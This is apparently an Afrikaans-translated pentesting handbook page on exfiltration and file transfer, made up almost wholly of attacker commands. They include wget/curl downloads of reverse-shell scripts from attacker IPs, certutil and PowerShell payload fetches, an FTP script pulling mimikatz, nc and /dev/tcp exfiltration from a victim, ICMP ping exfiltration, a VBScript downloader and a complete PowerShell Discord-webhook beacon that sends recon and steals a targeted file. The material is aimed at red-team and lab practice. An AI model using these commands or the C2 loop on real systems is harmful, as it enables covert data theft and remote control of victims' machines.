Exfiltration

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Algemeen whitelisted domeine om inligting te exfiltrate

Kyk na https://lots-project.com/ om algemeen whitelisted domeine te vind wat misbruik kan word

Copy&Paste Base64

Linux

bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

bash
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Laai lêers op

bash
# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS-bediener

python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) vir C2 & Data Exfiltration

Webhooks is write-only HTTPS-endpunte wat JSON en opsionele file parts aanvaar. Hulle word gewoonlik toegelaat na vertroude SaaS-domeine en vereis geen OAuth/API keys nie, wat dit nuttig maak vir low-friction beaconing en exfiltration.

Belangrike idees:

  • Eindpunt: Discord gebruik https://discord.com/api/webhooks//
  • POST multipart/form-data with a part named payload_json containing {"content":"..."} and optional file part(s) named file.
  • Operator-luspatroon: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK bevestig aflewering.

PowerShell PoC (Discord):

powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Aantekeninge:

  • Soortgelyke patrone geld vir ander samewerkingsplatforms (Slack/Teams) wat hul incoming webhooks gebruik; pas URL en JSON schema dienooreenkomstig aan.
  • Vir DFIR van Discord Desktop cache artifacts en webhook/API recovery, sien:

Discord Cache Forensics

FTP

FTP server (python)

bash
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP-bediener (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP-bediener (pure-ftp)

bash
apt-get update && apt-get install pure-ftp
bash
#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows kliënt

bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali as bediener

bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Of skep 'n smb share met samba:

bash
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Die aanvaller moet SSHd laat loop.

bash
scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

As die victim SSH het, kan die attacker 'n gids van die victim na die attacker mount.

bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Laai lêer vanaf victim

bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Lêer na die slagoffer oplaai

bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

dank aan @BinaryShadow_

ICMP

bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

As jy data na 'n SMTP server kan stuur, kan jy 'n SMTP skep om die data met python te ontvang:

bash
sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Standaard in XP en 2003 (in ander moet dit tydens installasie uitdruklik bygevoeg word)

In Kali, start TFTP server:

bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

TFTP bediener in python:

bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

In slagoffer, koppel aan die Kali-server:

bash
tftp -i <KALI-IP> get nc.exe

PHP

Laai 'n lêer af met 'n PHP oneliner:

bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

bash
Attacker> python -m SimpleHTTPServer 80

Slagoffer

bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

Die debug.exe-program laat nie net inspeksie van binaries toe nie, maar het ook die vermoë om dit vanaf hex te herbou. Dit beteken dat deur 'n hex van 'n binary te verskaf, kan debug.exe die binary-lêer genereer. Dit is egter belangrik om te let dat debug.exe 'n beperking het om lêers tot 64 kb in grootte saam te stel.

bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Kopieer en plak dan die teks in die windows-shell en 'n lêer met die naam nc.exe sal geskep word.

DNS

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